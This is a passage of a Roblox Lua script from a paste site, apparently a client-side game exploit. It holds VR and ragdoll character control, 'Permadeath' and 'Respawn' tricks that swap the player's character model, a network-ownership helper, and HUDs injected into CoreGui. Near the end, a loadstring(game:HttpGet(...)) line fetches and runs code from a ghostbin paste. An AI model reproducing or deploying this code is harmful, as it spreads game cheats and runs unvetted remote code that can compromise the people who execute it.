  740. VirtualBody:MoveTo(Mouse.Hit.p)
  741. VirtualRig:MoveTo(Mouse.Hit.p)
  742. end
  743. end
  744. if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then
  745. Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {
  746. WalkSpeed = 16
  747. })
  748. end
  749. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then
  750. Point1 = true
  751. end
  752. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then
  753. Point2 = true
  754. end
  755. if VRReady and Input.KeyCode == Enum.KeyCode.ButtonY then
  756. Character:BreakJoints()
  757. if RagdollEnabled and RagdollHeadMovement then
  758. Network:Unclaim()
  759. Respawn()
  760. end
  761. end
  762. end)
  763. local OnInputEnded = UserInputService.InputEnded:Connect(function(Input, Processed)
  764. if not Processed then
  765. if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then
  766. Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {
  767. CameraOffset = Vector3.new(0, StudsOffset, 0)
  768. })
  769. end
  770. end
  771. if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then
  772. Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {
  773. WalkSpeed = 8
  774. })
  775. end
  776. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then
  777. Point1 = false
  778. end
  779. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then
  780. Point2 = false
  781. end
  782. end)
  783. --[[
  784. Proper Cleanup
  785. --]]
  786. local OnReset
  787. OnReset = Client.CharacterAdded:Connect(function()
  788. OnReset:Disconnect();
  789. CFrameChanged:Disconnect();
  790. OnStepped:Disconnect();
  791. OnRenderStepped:Disconnect();
  792. OnMoving:Disconnect();
  793. OnInput:Disconnect();
  794. OnInputEnded:Disconnect();
  795. VirtualRig:Destroy();
  796. VirtualBody:Destroy();
  797. if RagdollEnabled then
  798. Network:Unclaim();
  799. end
  800. if AutoRun then
  801. delay(2, function()
  802. Script()
  803. end)
  804. end
  805. end)
  806. if ChatEnabled then
  807. spawn(ChatHUDFunc)
  808. end
  809. if ViewportEnabled then
  810. spawn(ViewHUDFunc)
  811. end
  812. do
  813. --[[
  814. Functions
  815. --]]
  816. local Players = game:GetService("Players")
  817. local Client = Players.LocalPlayer
  818. local VRService = game:GetService("VRService")
  819. local VRReady = VRService.VREnabled
  820. local UserInputService = game:GetService("UserInputService")
  821. local RunService = game:GetService("RunService")
  822. local Camera = workspace.CurrentCamera
  823. --[[
  824. Code
  825. --]]
  826. if VRReady then
  827. local Pointer = game:GetObjects("rbxassetid://4476173280")[1]
  828. Pointer.Parent = workspace
  829. Pointer.Beam.Enabled = false
  830. Pointer.Target.ParticleEmitter.Enabled = false
  831. local RenderStepped = RunService.RenderStepped:Connect(function()
  832. if Pointer.Beam.Enabled then
  833. local RightHand = Camera.CFrame * VRService:GetUserCFrame(Enum.UserCFrame.RightHand)
  834. local Target = RightHand * CFrame.new(0, 0, -10)
  835. local Line = Ray.new(RightHand.p, (Target.p - RightHand.p).Unit * 128)
  836. local Part, Position = workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character, Pointer})
  837. local Distance = (Position - RightHand.p).Magnitude
  838. Pointer.Target.Position = Vector3.new(0, 0, -Distance)
  839. Pointer.CFrame = RightHand
  840. end
  841. end)
  842. local Input = UserInputService.InputBegan:Connect(function(Input)
  843. if Input.KeyCode == Enum.KeyCode.ButtonB then
  844. Pointer.Beam.Enabled = not Pointer.Beam.Enabled
  845. Pointer.Target.ParticleEmitter.Enabled = not Pointer.Target.ParticleEmitter.Enabled
  846. end
  847. end)
  848. --
  849. local CharacterAdded
  850. CharacterAdded = Client.CharacterAdded:Connect(function()
  851. RenderStepped:Disconnect()
  852. Input:Disconnect()
  853. CharacterAdded:Disconnect()
  854. Pointer:Destroy()
  855. Pointer = nil
  856. end)
  857. else
  858. return
  859. end
  860. end
  861. end;
  862. Permadeath = function()
  863. local ch = game.Players.LocalPlayer.Character
  864. local prt=Instance.new("Model", workspace)
  865. local z1 = Instance.new("Part", prt)
  866. z1.Name="Torso"
  867. z1.CanCollide = false
  868. z1.Anchored = true
  869. local z2 =Instance.new("Part", prt)
  870. z2.Name="Head"
  871. z2.Anchored = true
  872. z2.CanCollide = false
  873. local z3 =Instance.new("Humanoid", prt)
  874. z3.Name="Humanoid"
  875. z1.Position = Vector3.new(0,9999,0)
  876. z2.Position = Vector3.new(0,9991,0)
  877. game.Players.LocalPlayer.Character=prt
  878. wait(5)
  879. warn("50%")
  880. game.Players.LocalPlayer.Character=ch
  881. wait(6)
  882. warn("100%")
  883. end;
  884. Respawn = function()
  885. local ch = game.Players.LocalPlayer.Character
  886. local prt=Instance.new("Model", workspace)
  887. local z1 = Instance.new("Part", prt)
  888. z1.Name="Torso"
  889. z1.CanCollide = false
  890. z1.Anchored = true
  891. local z2 =Instance.new("Part", prt)
  892. z2.Name="Head"
  893. z2.Anchored = true
  894. z2.CanCollide = false
  895. local z3 =Instance.new("Humanoid", prt)
  896. z3.Name="Humanoid"
  897. z1.Position = Vector3.new(0,9999,0)
  898. z2.Position = Vector3.new(0,9991,0)
  899. game.Players.LocalPlayer.Character=prt
  900. wait(5)
  901. game.Players.LocalPlayer.Character=ch
  902. end;
  903. ChatHUDFunc = function()
  904. --[[
  905. Variables
  906. --]]
  907. local UserInputService = game:GetService("UserInputService")
  908. local RunService = game:GetService("RunService")
  909. local VRService = game:GetService("VRService")
  910. local VRReady = VRService.VREnabled
  911. local Players = game:GetService("Players")
  912. local Client = Players.LocalPlayer
  913. local ChatHUD = game:GetObjects("rbxassetid://4476067885")[1]
  914. local GlobalFrame = ChatHUD.GlobalFrame
  915. local Template = GlobalFrame.Template
  916. local LocalFrame = ChatHUD.LocalFrame
  917. local Global = ChatHUD.Global
  918. local Local = ChatHUD.Local
  919. local Camera = workspace.CurrentCamera
  920. Template.Parent = nil
  921. ChatHUD.Parent = game:GetService("CoreGui")
  922. --[[
  923. Code
  924. --]]
  925. local Highlight = Global.Frame.BackgroundColor3
  926. local Deselected = Local.Frame.BackgroundColor3
  927. local OpenGlobalTab = function()
  928. Global.Frame.BackgroundColor3 = Highlight
  929. Local.Frame.BackgroundColor3 = Deselected
  930. Global.Font = Enum.Font.SourceSansBold
  931. Local.Font = Enum.Font.SourceSans
  932. GlobalFrame.Visible = true
  933. LocalFrame.Visible = false
  934. end
  935. local OpenLocalTab = function()
  936. Global.Frame.BackgroundColor3 = Deselected
  937. Local.Frame.BackgroundColor3 = Highlight
  938. Global.Font = Enum.Font.SourceSans
  939. Local.Font = Enum.Font.SourceSansBold
  940. GlobalFrame.Visible = false
  941. LocalFrame.Visible = true
  942. end
  943. Global.MouseButton1Down:Connect(OpenGlobalTab)
  944. Local.MouseButton1Down:Connect(OpenLocalTab)
  945. Global.MouseButton1Click:Connect(OpenGlobalTab)
  946. Local.MouseButton1Click:Connect(OpenLocalTab)
  947. OpenLocalTab()
  948. --
  949. local function GetPlayerDistance(Sender)
  950. if Sender.Character and Sender.Character:FindFirstChild("Head") then
  951. return math.floor((Sender.Character.Head.Position - Camera:GetRenderCFrame().p).Magnitude + 0.5)
  952. end
  953. end
  954. local function NewGlobal(Message, Sender, Color)
  955. local Frame = Template:Clone()
  956. Frame.Text = ("[%s]: %s"):format(Sender.Name, Message)
  957. Frame.User.Text = ("[%s]:"):format(Sender.Name)
  958. Frame.User.TextColor3 = Color
  959. Frame.BackgroundColor3 = Color
  960. Frame.Parent = GlobalFrame
  961. delay(60, function()
  962. Frame:Destroy()
  963. end)
  964. end
  965. local function NewLocal(Message, Sender, Color, Dist)
  966. local Frame = Template:Clone()
  967. Frame.Text = ("(%s) [%s]: %s"):format(tostring(Dist), Sender.Name, Message)
  968. Frame.User.Text = ("(%s) [%s]:"):format(tostring(Dist), Sender.Name)
  969. Frame.User.TextColor3 = Color
  970. Frame.BackgroundColor3 = Color
  971. Frame.Parent = LocalFrame
  972. delay(60, function()
  973. Frame:Destroy()
  974. end)
  975. end
  976. local function OnNewChat(Message, Sender, Color)
  977. if not ChatHUD or not ChatHUD.Parent then return end
  978. NewGlobal(Message, Sender, Color)
  979. local Distance = GetPlayerDistance(Sender)
  980. if Distance and Distance <= ChatLocalRange then
  981. NewLocal(Message, Sender, Color, Distance)
  982. end
  983. end
  984. local function OnPlayerAdded(Player)
  985. if not ChatHUD or not ChatHUD.Parent then return end
  986. local Color = BrickColor.Random().Color
  987. Player.Chatted:Connect(function(Message)
  988. OnNewChat(Message, Player, Color)
  989. end)
  990. end
  991. Players.PlayerAdded:Connect(OnPlayerAdded)
  992. for _, Player in pairs(Players:GetPlayers()) do
  993. OnPlayerAdded(Player)
  994. end
  995. --
  996. local ChatPart = ChatHUD.Part
  997. ChatHUD.Adornee = ChatPart
  998. if VRReady then
  999. ChatHUD.Parent = game:GetService("CoreGui")
  1000. ChatHUD.Enabled = true
  1001. ChatHUD.AlwaysOnTop = true
  1002. local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)
  1003. if not Processed then
  1004. if Input.KeyCode == Enum.KeyCode.ButtonX then
  1005. ChatHUD.Enabled = not ChatHUD.Enabled
  1006. end
  1007. end
  1008. end)
  1009. local RenderStepped = RunService.RenderStepped:Connect(function()
  1010. local LeftHand = VRService:GetUserCFrame(Enum.UserCFrame.LeftHand)
  1011. ChatPart.CFrame = Camera.CFrame * LeftHand
  1012. end)
  1013. local CharacterAdded
  1014. CharacterAdded = Client.CharacterAdded:Connect(function()
  1015. OnInput:Disconnect()
  1016. RenderStepped:Disconnect()
  1017. CharacterAdded:Disconnect()
  1018. ChatHUD:Destroy()
  1019. ChatHUD = nil
  1020. end)
  1021. end
  1022. wait(9e9)
  1023. end;
  1024. ViewHUDFunc = function()
  1025. --[[
  1026. Variables
  1027. --]]
  1028. local ViewportRange = ViewportRange or 32
  1029. local UserInputService = game:GetService("UserInputService")
  1030. local RunService = game:GetService("RunService")
  1031. local VRService = game:GetService("VRService")
  1032. local VRReady = VRService.VREnabled
  1033. local Players = game:GetService("Players")
  1034. local Client = Players.LocalPlayer
  1035. local Mouse = Client:GetMouse()
  1036. local Camera = workspace.CurrentCamera
  1037. local CameraPort = Camera.CFrame
  1038. local ViewHUD = script:FindFirstChild("ViewHUD") or game:GetObjects("rbxassetid://4480405425")[1]
  1039. local Viewport = ViewHUD.Viewport
  1040. local Viewcam = Instance.new("Camera")
  1041. local ViewPart = ViewHUD.Part
  1042. ViewHUD.Parent = game:GetService("CoreGui")
  1043. Viewcam.Parent = Viewport
  1044. Viewcam.CameraType = Enum.CameraType.Scriptable
  1045. Viewport.CurrentCamera = Viewcam
  1046. Viewport.BackgroundTransparency = 1
  1047. --[[
  1048. Code
  1049. --]]
  1050. local function Clone(Character)
  1051. local Arc = Character.Archivable
  1052. local Clone;
  1053. Character.Archivable = true
  1054. Clone = Character:Clone()
  1055. Character.Archivable = Arc
  1056. return Clone
  1057. end
  1058. local function GetPart(Name, Parent, Descendants)
  1059. for i = 1, #Descendants do
  1060. local Part = Descendants[i]
  1061. if Part.Name == Name and Part.Parent.Name == Parent then
  1062. return Part
  1063. end
  1064. end
  1065. end
  1066. local function OnPlayerAdded(Player)
  1067. if not ViewHUD or not ViewHUD.Parent then return end
  1068. local function CharacterAdded(Character)
  1069. if not ViewHUD or not ViewHUD.Parent then return end
  1070. Character:WaitForChild("Head")
  1071. Character:WaitForChild("Humanoid")
  1072. wait(3)
  1073. local FakeChar = Clone(Character)
  1074. local Root = FakeChar:FindFirstChild("HumanoidRootPart") or FakeChar:FindFirstChild("Head")
  1075. local RenderConnection;
  1076. local Descendants = FakeChar:GetDescendants()
  1077. local RealDescendants = Character:GetDescendants()
  1078. local Correspondents = {};
  1079. FakeChar.Humanoid.DisplayDistanceType = "None"
  1080. for i = 1, #Descendants do
  1081. local Part = Descendants[i]
  1082. local Real = Part:IsA("BasePart") and GetPart(Part.Name, Part.Parent.Name, RealDescendants)
  1083. if Part:IsA("BasePart") and Real then
  1084. Part.Anchored = true
  1085. Part:BreakJoints()
  1086. if Part.Parent:IsA("Accessory") then
  1087. Part.Transparency = 0
  1088. end
  1089. table.insert(Correspondents, {Part, Real})
  1090. end
  1091. end
  1092. RenderConnection = RunService.RenderStepped:Connect(function()
  1093. if not Character or not Character.Parent then
  1094. RenderConnection:Disconnect()
  1095. FakeChar:Destroy()
  1096. return
  1097. end
  1098. if (Root and (Root.Position - Camera.CFrame.p).Magnitude <= ViewportRange) or Player == Client or not Root then
  1099. for i = 1, #Correspondents do
  1100. local Part, Real = unpack(Correspondents[i])
  1101. if Part and Real and Part.Parent and Real.Parent then
  1102. Part.CFrame = Real.CFrame
  1103. elseif Part.Parent and not Real.Parent then
  1104. Part:Destroy()
  1105. end
  1106. end
  1107. end
  1108. end)
  1109. FakeChar.Parent = Viewcam
  1110. end
  1111. Player.CharacterAdded:Connect(CharacterAdded)
  1112. if Player.Character then
  1113. spawn(function()
  1114. CharacterAdded(Player.Character)
  1115. end)
  1116. end
  1117. end
  1118. local PlayerAdded = Players.PlayerAdded:Connect(OnPlayerAdded)
  1119. for _, Player in pairs(Players:GetPlayers()) do
  1120. OnPlayerAdded(Player)
  1121. end
  1122. ViewPart.Size = Vector3.new()
  1123. if VRReady then
  1124. Viewport.Position = UDim2.new(.62, 0, .89, 0)
  1125. Viewport.Size = UDim2.new(.3, 0, .3, 0)
  1126. Viewport.AnchorPoint = Vector2.new(.5, 1)
  1127. else
  1128. Viewport.Size = UDim2.new(0.3, 0, 0.3, 0)
  1129. end
  1130. local RenderStepped = RunService.RenderStepped:Connect(function()
  1131. local Render = Camera.CFrame
  1132. local Scale = Camera.ViewportSize
  1133. if VRReady then
  1134. Render = Render * VRService:GetUserCFrame(Enum.UserCFrame.Head)
  1135. end
  1136. CameraPort = CFrame.new(Render.p + Vector3.new(5, 2, 0), Render.p)
  1137. Viewport.Camera.CFrame = CameraPort
  1138. ViewPart.CFrame = Render * CFrame.new(0, 0, -16)
  1139. ViewHUD.Size = UDim2.new(0, Scale.X - 6, 0, Scale.Y - 6)
  1140. end)
  1141. --
  1142. local CharacterAdded
  1143. CharacterAdded = Client.CharacterAdded:Connect(function()
  1144. RenderStepped:Disconnect()
  1145. CharacterAdded:Disconnect()
  1146. PlayerAdded:Disconnect()
  1147. ViewHUD:Destroy()
  1148. ViewHUD = nil
  1149. end)
  1150. wait(9e9)
  1151. end;
  1152. Script()
  1153. wait(2)
  1154. local Players = game:GetService("Players")
  1155. local lp = Players.LocalPlayer
  1156. local character = lp.Character
  1157. local A0LL = Instance.new("Attachment", character["Left Leg"])
  1158. A0LL.Position = Vector3.new(0, 1, 0)
  1159. local A1LL = Instance.new("Attachment", character["Torso"])
  1160. A1LL.Position = Vector3.new(-0.5, -1, 0)
  1161. local socket1 = Instance.new("BallSocketConstraint", character["Left Leg"])
  1162. socket1.Attachment0 = A0LL
  1163. socket1.Attachment1 = A1LL
  1164. local A0RL = Instance.new("Attachment", character["Right Leg"])
  1165. A0RL.Position = Vector3.new(0, 1, 0)
  1166. local A1RL = Instance.new("Attachment", character["Torso"])
  1167. A1RL.Position = Vector3.new(0.5, -1, 0)
  1168. local socket2 = Instance.new("BallSocketConstraint", character["Right Leg"])
  1169. socket2.Attachment0 = A0RL
  1170. socket2.Attachment1 = A1RL
  1171. local A0H = Instance.new("Attachment", character["Head"])
  1172. A0H.Position = Vector3.new(0, -0.5, 0)
  1173. local A1H = Instance.new("Attachment", character["Torso"])
  1174. A1H.Position = Vector3.new(0, 1, 0)
  1175. local socket5 = Instance.new("BallSocketConstraint", character["Head"])
  1176. socket5.Attachment0 = A0H
  1177. socket5.Attachment1 = A1H
  1178. loadstring(game:HttpGet("https://ghostbin.co/paste/krmyf/raw",true))()
  1179. -----------------------------------------------------------
  1180. wait(9e9)
Advertisement
Comments
Add Comment
Please, Sign In to add comment
Advertisement